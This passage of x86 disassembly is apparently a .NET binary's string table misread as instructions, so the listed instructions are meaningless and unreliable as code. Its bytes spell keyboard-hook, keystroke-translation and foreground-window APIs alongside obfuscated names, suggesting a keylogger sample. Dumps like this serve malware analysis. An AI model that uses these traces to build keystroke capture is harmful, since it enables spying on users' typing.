472db2:	5f                   	pop    %edi
472db3:	00 4f 70             	add    %cl,0x70(%edi)
472db6:	65 72 61             	gs jb  0x472e1a
472db9:	74 69                	je     0x472e24
472dbb:	6e                   	outsb  %ds:(%esi),(%dx)
472dbc:	67 53                	addr16 push %ebx
472dbe:	79 73                	jns    0x472e33
472dc0:	74 67                	je     0x472e29
472dc2:	72 75                	jb     0x472e39
472dc4:	00 67 72             	add    %ah,0x72(%edi)
472dc7:	6b 00 67             	imul   $0x67,(%eax),%eax
472dca:	72 63                	jb     0x472e2f
472dcc:	00 67 72             	add    %ah,0x72(%edi)
472dcf:	74 00                	je     0x472dd1
472dd1:	67 72 6c             	addr16 jb 0x472e40
472dd4:	00 67 72             	add    %ah,0x72(%edi)
472dd7:	73 00                	jae    0x472dd9
472dd9:	67 72 6a             	addr16 jb 0x472e46
472ddc:	00 67 72             	add    %ah,0x72(%edi)
472ddf:	68 00 67 64 73       	push   $0x73646700
472de4:	00 67 64             	add    %ah,0x64(%edi)
472de7:	66 00 67 64          	data16 add %ah,0x64(%edi)
472deb:	79 00                	jns    0x472ded
472ded:	67 64 76 00          	addr16 fs jbe 0x472df1
472df1:	67 75 6c             	addr16 jne 0x472e60
472df4:	00 53 79             	add    %dl,0x79(%ebx)
472df7:	73 74                	jae    0x472e6d
472df9:	65 6d                	gs insl (%dx),%es:(%edi)
472dfb:	2e 57                	cs push %edi
472dfd:	69 6e 64 6f 77 73 2e 	imul   $0x2e73776f,0x64(%esi),%ebp
472e04:	46                   	inc    %esi
472e05:	6f                   	outsl  %ds:(%esi),(%dx)
472e06:	72 6d                	jb     0x472e75
472e08:	73 63                	jae    0x472e6d
472e0a:	65 73 73             	gs jae 0x472e80
472e0d:	49                   	dec    %ecx
472e0e:	64 00 67 78          	add    %ah,%fs:0x78(%edi)
472e12:	79 00                	jns    0x472e14
472e14:	67 78 62             	addr16 js 0x472e79
472e17:	00 67 78             	add    %ah,0x78(%edi)
472e1a:	65 00 47 65          	add    %al,%gs:0x65(%edi)
472e1e:	74 4b                	je     0x472e6b
472e20:	65 79 62             	gs jns 0x472e85
472e23:	6f                   	outsl  %ds:(%esi),(%dx)
472e24:	61                   	popa
472e25:	72 64                	jb     0x472e8b
472e27:	4c                   	dec    %esp
472e28:	61                   	popa
472e29:	79 6f                	jns    0x472e9a
472e2b:	75 74                	jne    0x472ea1
472e2d:	00 75 73             	add    %dh,0x73(%ebp)
472e30:	65 72 33             	gs jb  0x472e66
472e33:	32 00                	xor    (%eax),%al
472e35:	67 78 70             	addr16 js 0x472ea8
472e38:	00 67 78             	add    %ah,0x78(%edi)
472e3b:	76 00                	jbe    0x472e3d
472e3d:	54                   	push   %esp
472e3e:	6f                   	outsl  %ds:(%esi),(%dx)
472e3f:	55                   	push   %ebp
472e40:	6e                   	outsb  %ds:(%esi),(%dx)
472e41:	69 63 6f 64 65 45 78 	imul   $0x78456564,0x6f(%ebx),%esp
472e48:	00 67 78             	add    %ah,0x78(%edi)
472e4b:	68 00 67 72 64       	push   $0x64726700
472e50:	00 74 00 67          	add    %dh,0x67(%eax,%eax,1)
472e54:	78 6c                	js     0x472ec2
472e56:	00 67 78             	add    %ah,0x78(%edi)
472e59:	73 00                	jae    0x472e5b
472e5b:	67 78 6a             	addr16 js 0x472ec8
472e5e:	00 47 65             	add    %al,0x65(%edi)
472e61:	74 4d                	je     0x472eb0
472e63:	6f                   	outsl  %ds:(%esi),(%dx)
472e64:	64 75 6c             	fs jne 0x472ed3
472e67:	65 46                	gs inc %esi
472e69:	69 6c 65 4e 61 6d 65 	imul   $0x45656d61,0x4e(%ebp,%eiz,2),%ebp
472e70:	45
472e71:	78 00                	js     0x472e73
472e73:	67 78 71             	addr16 js 0x472ee7
472e76:	00 67 78             	add    %ah,0x78(%edi)
472e79:	6e                   	outsb  %ds:(%esi),(%dx)
472e7a:	00 67 78             	add    %ah,0x78(%edi)
472e7d:	66 00 67 78          	data16 add %ah,0x78(%edi)
472e81:	6d                   	insl   (%dx),%es:(%edi)
472e82:	00 67 78             	add    %ah,0x78(%edi)
472e85:	77 00                	ja     0x472e87
472e87:	47                   	inc    %edi
472e88:	65 74 57             	gs je  0x472ee2
472e8b:	69 6e 64 6f 77 54 68 	imul   $0x6854776f,0x64(%esi),%ebp
472e92:	72 65                	jb     0x472ef9
472e94:	61                   	popa
472e95:	64 50                	fs push %eax
472e97:	72 6f                	jb     0x472f08
472e99:	74 65                	je     0x472f00
472e9b:	00 67 6f             	add    %ah,0x6f(%edi)
472e9e:	68 00 67 78 72       	push   $0x72786700
472ea3:	00 4d 61             	add    %cl,0x61(%ebp)
472ea6:	70 56                	jo     0x472efe
472ea8:	69 72 74 75 61 6c 4b 	imul   $0x4b6c6175,0x74(%edx),%esi
472eaf:	65 79 00             	gs jns 0x472eb2
472eb2:	67 78 64             	addr16 js 0x472f19
472eb5:	00 67 78             	add    %ah,0x78(%edi)
472eb8:	75 00                	jne    0x472eba
472eba:	67 78 6b             	addr16 js 0x472f28
472ebd:	00 45 6e             	add    %al,0x6e(%ebp)
472ec0:	75 6d                	jne    0x472f2f
472ec2:	50                   	push   %eax
472ec3:	72 6f                	jb     0x472f34
472ec5:	63 65 73             	arpl   %esp,0x73(%ebp)
472ec8:	73 4d                	jae    0x472f17
472eca:	6f                   	outsl  %ds:(%esi),(%dx)
472ecb:	64 75 6c             	fs jne 0x472f3a
472ece:	65 73 00             	gs jae 0x472ed1
472ed1:	70 73                	jo     0x472f46
472ed3:	61                   	popa
472ed4:	70 69                	jo     0x472f3f
472ed6:	2e 64 6c             	cs fs insb (%dx),%es:(%edi)
472ed9:	6c                   	insb   (%dx),%es:(%edi)
472eda:	00 67 78             	add    %ah,0x78(%edi)
472edd:	63 00                	arpl   %eax,(%eax)
472edf:	67 78 47             	addr16 js 0x472f29
472ee2:	65 74 57             	gs je  0x472f3c
472ee5:	69 6e 64 6f 77 54 65 	imul   $0x6554776f,0x64(%esi),%ebp
472eec:	78 74                	js     0x472f62
472eee:	00 67 6f             	add    %ah,0x6f(%edi)
472ef1:	77 00                	ja     0x472ef3
472ef3:	67 6f                	outsl  %ds:(%si),(%dx)
472ef5:	79 00                	jns    0x472ef7
472ef7:	67 6f                	outsl  %ds:(%si),(%dx)
472ef9:	62 00                	bound  %eax,(%eax)
472efb:	67 6f                	outsl  %ds:(%si),(%dx)
472efd:	65 00 47 65          	add    %al,%gs:0x65(%edi)
472f01:	74 57                	je     0x472f5a
472f03:	69 6e 64 6f 77 54 65 	imul   $0x6554776f,0x64(%esi),%ebp
472f0a:	78 74                	js     0x472f80
472f0c:	4c                   	dec    %esp
472f0d:	65 6e                	outsb  %gs:(%esi),(%dx)
472f0f:	67 74 68             	addr16 je 0x472f7a
472f12:	00 67 6f             	add    %ah,0x6f(%edi)
472f15:	70 00                	jo     0x472f17
472f17:	67 6f                	outsl  %ds:(%si),(%dx)
472f19:	76 00                	jbe    0x472f1b
472f1b:	47                   	inc    %edi
472f1c:	65 74 4b             	gs je  0x472f6a
472f1f:	65 79 62             	gs jns 0x472f84
472f22:	6f                   	outsl  %ds:(%esi),(%dx)
472f23:	61                   	popa
472f24:	72 64                	jb     0x472f8a
472f26:	53                   	push   %ebx
472f27:	74 61                	je     0x472f8a
472f29:	6b 62 48 6f          	imul   $0x6f,0x48(%edx),%esp
472f2d:	6f                   	outsl  %ds:(%esi),(%dx)
472f2e:	6b 00 73             	imul   $0x73,(%eax),%eax
472f31:	65 74 5f             	gs je  0x472f93
472f34:	6b 62 48 6f          	imul   $0x6f,0x48(%edx),%esp
472f38:	6f                   	outsl  %ds:(%esi),(%dx)
472f39:	6b 00 67             	imul   $0x67,(%eax),%eax
472f3c:	6f                   	outsl  %ds:(%esi),(%dx)
472f3d:	66 00 47 65          	data16 add %al,0x65(%edi)
472f41:	74 46                	je     0x472f89
472f43:	6f                   	outsl  %ds:(%esi),(%dx)
472f44:	72 65                	jb     0x472fab
472f46:	67 72 6f             	addr16 jb 0x472fb8
472f49:	75 6e                	jne    0x472fb9
472f4b:	64 57                	fs push %edi
472f4d:	69 6e 64 6f 77 00 67 	imul   $0x6700776f,0x64(%esi),%ebp
472f54:	6f                   	outsl  %ds:(%esi),(%dx)
472f55:	6d                   	insl   (%dx),%es:(%edi)
472f56:	00 53 74             	add    %dl,0x74(%ebx)
472f59:	72 69                	jb     0x472fc4
472f5b:	6e                   	outsb  %ds:(%esi),(%dx)
472f5c:	67 42                	addr16 inc %edx
472f5e:	75 69                	jne    0x472fc9
472f60:	6c                   	insb   (%dx),%es:(%edi)
472f61:	64 65 72 00          	fs gs jb 0x472f65
472f65:	53                   	push   %ebx
472f66:	79 73                	jns    0x472fdb
472f68:	74 65                	je     0x472fcf
472f6a:	6d                   	insl   (%dx),%es:(%edi)
472f6b:	2e 54                	cs push %esp
472f6d:	65 78 74             	gs js  0x472fe4
472f70:	00 64 00 67          	add    %ah,0x67(%eax,%eax,1)
472f74:	61                   	popa
472f75:	75 00                	jne    0x472f77
472f77:	67 61                	addr16 popa
472f79:	6b 00 67             	imul   $0x67,(%eax),%eax
472f7c:	61                   	popa
472f7d:	74 00                	je     0x472f7f
472f7f:	67 61                	addr16 popa
472f81:	6c                   	insb   (%dx),%es:(%edi)
472f82:	00 67 61             	add    %ah,0x61(%edi)
472f85:	66 00 67 61          	data16 add %ah,0x61(%edi)
472f89:	6d                   	insl   (%dx),%es:(%edi)
472f8a:	00 67 61             	add    %ah,0x61(%edi)
472f8d:	77 00                	ja     0x472f8f
472f8f:	67 65 74 5f          	addr16 gs je 0x472ff2
472f93:	43                   	inc    %ebx
472f94:	48                   	dec    %eax
472f95:	00 73 65             	add    %dh,0x65(%ebx)
472f98:	74 5f                	je     0x472ff9
472f9a:	43                   	inc    %ebx
472f9b:	48                   	dec    %eax
472f9c:	00 57 69             	add    %dl,0x69(%edi)
472f9f:	74 68                	je     0x473009
472fa1:	45                   	inc    %ebp
472fa2:	76 65                	jbe    0x473009
472fa4:	6e                   	outsb  %ds:(%esi),(%dx)
472fa5:	74 73                	je     0x47301a
472fa7:	56                   	push   %esi
472fa8:	61                   	popa
472fa9:	6c                   	insb   (%dx),%es:(%edi)
472faa:	75 65                	jne    0x473011
472fac:	00 67 6f             	add    %ah,0x6f(%edi)
472faf:	73 00                	jae    0x472fb1
472fb1:	67 6f                	outsl  %ds:(%si),(%dx)
472fb3:	6a 00                	push   $0x0
472fb5:	67 65 74 5f          	addr16 gs je 0x473018
472fb9:	79 76                	jns    0x473031
472fbb:	00 7a 62             	add    %bh,0x62(%edx)
472fbe:	70 00                	jo     0x472fc0
472fc0:	47                   	inc    %edi
472fc1:	65 74 4d             	gs je  0x473011
472fc4:	6f                   	outsl  %ds:(%esi),(%dx)
472fc5:	64 75 6c             	fs jne 0x473034
472fc8:	65 46                	gs inc %esi
472fca:	69 6c 65 4e 61 6d 65 	imul   $0x41656d61,0x4e(%ebp,%eiz,2),%ebp
472fd1:	41
472fd2:	00 7a 62             	add    %bh,0x62(%edx)
472fd5:	76 00                	jbe    0x472fd7
472fd7:	7a 62                	jp     0x47303b
472fd9:	68 00 7a 65 70       	push   $0x70657a00
472fde:	00 7a 65             	add    %bh,0x65(%edx)
472fe1:	76 00                	jbe    0x472fe3
472fe3:	4d                   	dec    %ebp
472fe4:	6f                   	outsl  %ds:(%esi),(%dx)
472fe5:	76 65                	jbe    0x47304c
472fe7:	46                   	inc    %esi
472fe8:	69 6c 65 45 78 57 00 	imul   $0x7a005778,0x45(%ebp,%eiz,2),%ebp
472fef:	7a
472ff0:	65 68 00 7a 70 76    	gs push $0x76707a00
472ff6:	00 7a 70             	add    %bh,0x70(%edx)
472ff9:	68 00 7a 76 68       	push   $0x68767a00
472ffe:	00 67 61             	add    %ah,0x61(%edi)
473001:	79 00                	jns    0x473003
473003:	4d                   	dec    %ebp
473004:	65 6d                	gs insl (%dx),%es:(%edi)
473006:	6f                   	outsl  %ds:(%esi),(%dx)
473007:	72 79                	jb     0x473082
473009:	53                   	push   %ebx
47300a:	74 72                	je     0x47307e
47300c:	65 61                	gs popa
47300e:	6d                   	insl   (%dx),%es:(%edi)
47300f:	00 7a 66             	add    %bh,0x66(%edx)
473012:	62 00                	bound  %eax,(%eax)
473014:	7a 66                	jp     0x47307c
473016:	65 00 7a 66          	add    %bh,%gs:0x66(%edx)
47301a:	70 00                	jo     0x47301c
47301c:	7a 66                	jp     0x473084
47301e:	76 00                	jbe    0x473020
473020:	7a 77                	jp     0x473099
473022:	76 00                	jbe    0x473024
473024:	44                   	inc    %esp
473025:	65 6c                	gs insb (%dx),%es:(%edi)
473027:	65 74 65             	gs je  0x47308f
47302a:	46                   	inc    %esi
47302b:	69 6c 65 00 6b 65 72 	imul   $0x6e72656b,0x0(%ebp,%eiz,2),%ebp
473032:	6e
473033:	65 6c                	gs insb (%dx),%es:(%edi)
473035:	33 32                	xor    (%edx),%esi
473037:	00 7a 77             	add    %bh,0x77(%edx)
47303a:	68 00 7a 79 62       	push   $0x62797a00
47303f:	00 7a 79             	add    %bh,0x79(%edx)
473042:	65 00 7a 79          	add    %bh,%gs:0x79(%edx)
473046:	70 00                	jo     0x473048
473048:	7a 6b                	jp     0x4730b5
47304a:	73 00                	jae    0x47304c
47304c:	7a 6b                	jp     0x4730b9
47304e:	6a 00                	push   $0x0
473050:	7a 6b                	jp     0x4730bd
473052:	71 00                	jno    0x473054
473054:	7a 6b                	jp     0x4730c1
473056:	68 00 7a 63 74       	push   $0x74637a00
47305b:	00 7a 63             	add    %bh,0x63(%edx)
47305e:	6c                   	insb   (%dx),%es:(%edi)
47305f:	00 7a 63             	add    %bh,0x63(%edx)
473062:	6e                   	outsb  %ds:(%esi),(%dx)
473063:	00 49 4c             	add    %cl,0x4c(%ecx)
473066:	69 73 74 60 31 00 53 	imul   $0x53003160,0x74(%ebx),%esi
47306d:	79 73                	jns    0x4730e2
47306f:	74 65                	je     0x4730d6
473071:	6d                   	insl   (%dx),%es:(%edi)
473072:	2e 43                	cs inc %ebx
473074:	6f                   	outsl  %ds:(%esi),(%dx)
473075:	6c                   	insb   (%dx),%es:(%edi)
473076:	6c                   	insb   (%dx),%es:(%edi)
473077:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
47307c:	6e                   	outsb  %ds:(%esi),(%dx)
47307d:	73 2e                	jae    0x4730ad
47307f:	47                   	inc    %edi
473080:	65 6e                	outsb  %gs:(%esi),(%dx)
473082:	65 72 69             	gs jb  0x4730ee
473085:	63 00                	arpl   %eax,(%eax)
473087:	7a 63                	jp     0x4730ec
473089:	66 00 7a 74          	data16 add %bh,0x74(%edx)
47308d:	6a 00                	push   $0x0
47308f:	7a 66                	jp     0x4730f7
473091:	72 6a                	jb     0x4730fd
473093:	00 7a 72             	add    %bh,0x72(%edx)
473096:	71 00                	jno    0x473098
473098:	7a 64                	jp     0x4730fe
47309a:	79 00                	jns    0x47309c
47309c:	7a 64                	jp     0x473102
47309e:	62 00                	bound  %eax,(%eax)
4730a0:	7a 64                	jp     0x473106
4730a2:	65 00 7a 64          	add    %bh,%gs:0x64(%edx)
4730a6:	70 00                	jo     0x4730a8
4730a8:	7a 64                	jp     0x47310e
4730aa:	76 00                	jbe    0x4730ac
4730ac:	7a 64                	jp     0x473112
4730ae:	68 00 7a 75 73       	push   $0x73757a00
4730b3:	00 7a 75             	add    %bh,0x75(%edx)
4730b6:	66 00 7a 75          	data16 add %bh,0x75(%edx)
4730ba:	6d                   	insl   (%dx),%es:(%edi)
4730bb:	00 7a 75             	add    %bh,0x75(%edx)
4730be:	79 00                	jns    0x4730c0
4730c0:	7a 75                	jp     0x473137
4730c2:	62 00                	bound  %eax,(%eax)
4730c4:	7a 75                	jp     0x47313b
4730c6:	65 00 7a 75          	add    %bh,%gs:0x75(%edx)
4730ca:	70 00                	jo     0x4730cc
4730cc:	7a 75                	jp     0x473143
4730ce:	68 00 7a 6b 63       	push   $0x636b7a00
4730d3:	00 7a 6b             	add    %bh,0x6b(%edx)
4730d6:	74 00                	je     0x4730d8
4730d8:	7a 65                	jp     0x47313f
4730da:	46                   	inc    %esi
4730db:	6f                   	outsl  %ds:(%esi),(%dx)
4730dc:	72 6d                	jb     0x47314b
4730de:	61                   	popa
4730df:	74 00                	je     0x4730e1
4730e1:	7a 78                	jp     0x47315b
4730e3:	71 00                	jno    0x4730e5
4730e5:	7a 78                	jp     0x47315f
4730e7:	77 00                	ja     0x4730e9
4730e9:	7a 78                	jp     0x473163
4730eb:	79 00                	jns    0x4730ed
4730ed:	7a 78                	jp     0x473167
4730ef:	62 00                	bound  %eax,(%eax)
4730f1:	7a 78                	jp     0x47316b
4730f3:	65 00 7a 78          	add    %bh,%gs:0x78(%edx)
4730f7:	70 00                	jo     0x4730f9
4730f9:	7a 72                	jp     0x47316d